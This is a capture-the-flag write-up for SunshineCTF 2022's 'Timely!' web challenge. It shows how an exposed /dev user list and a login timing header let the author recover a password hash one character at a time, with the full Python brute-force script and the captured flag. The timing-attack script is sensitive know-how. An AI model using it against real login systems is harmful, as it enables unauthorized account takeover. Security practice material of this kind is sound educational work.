Rating: 5.0


# Timely!
### 100 points

> I've been on a real City Pop binge and thought I would share one of my favorite albums.
> * Comments added in Discord
>
> For Timely! No off the shelf tools such as SqlMap should be necessary. If possible please refrain from using these tools as they cause unneeded load on the web server ? As I realize the above might be confusing. It does require smart bruteforcing, however it does not require the use of SqlMap or dumb bruteforcing tools.
> https://timely.web.2022.sunshinectf.org/

By visiting the website, we're preseted with just a link for a login page and the full Timely!! album from Anri.

![homepage](https://i.imgur.com/u620YYp.png)

![login](https://i.imgur.com/3LRZDSt.png)

The login page has a simple form; besides it does not seem to be vulnerable to the usual SQLi.

While trying random redentials it shows this error message:

![standard_error](https://i.imgur.com/WWp4HXN.png)

Visiting `robots.txt`, we see that we have a page `/dev`.

Here there are listed two endpoints: `dev/hostname` which always returns `502` and `dev/users`which contains a list of users:
```
ahrifan111 (Disabled)
anri (Active)
admin (Disabled)
develop (Disabled)
```

Trying these users on the login form, we can notice that the error message is different with the active user `anri`

![anri_error](https://i.imgur.com/oAnADEw.png)

Now, let's see if there's something else in the request. Opening the request details, we can find a strange header `debug-lag-fix`

![header](https://i.imgur.com/fNZc1lq.png)

Fiddling with Burp, we can notice that this only appears for requests with 40 chars (exactly the length of the SHA1 hash).

Given the name of the challenge, we can guess that this time is a valid suggestion that we're closer to the solution. So I've decided to tackle it like a blind sql challenge: use this timing to decide character by character what is the password of the user.

After way too many attemps, here's the code I've used:
```py
import requests
from urllib3 import disable_warnings
disable_warnings()

password = ""
while(len(password) < 40): #Length of the SHA1 hash
longest = -99
valid = ''
for c in "0123456789abcdef": #charset of the hex digest
try:
cur_pass = password + c
cur_pass += "0" * (40 - len(cur_pass)) #pad the rest of the hash with zeroes
url = "https://timely.web.2022.sunshinectf.org:443/login"
body={"password": cur_pass, "username": "anri"}
r = requests.post(url, json=body, verify=False)
print(c, r.headers['Debug-Lag-Fix']) # Debug print
time_ms = int(r.headers['Debug-Lag-Fix'][:-2]) # Convert the header value in int
except KeyError as e: # If the header is missing, the password is valid or the request failed
print(f"Missing header, status code {r.status_code}")
if r.status_code == 200: #Is a valid request, the password is complete!!
longest = 999
print(r.content, cur_pass)
break
if(longest < time_ms):
longest = time_ms
valid = c
password = password + valid
print(f"Using {valid} with {longest}ms, now proceeding with {password}")
```

And with that, you'll get the flag:
```
...
9 3918ns
Missing header, status code 200
b'Congrats! SUN{ci+ypopi56e5+pop2022}'
Using 9 with 999ms, now proceeding with f14586d91fbab8cbd70d3946495a0213066a2269
```

Original writeup (https://gist.github.com/SalScotto/d855c77d07907f9768656e64a27b6887).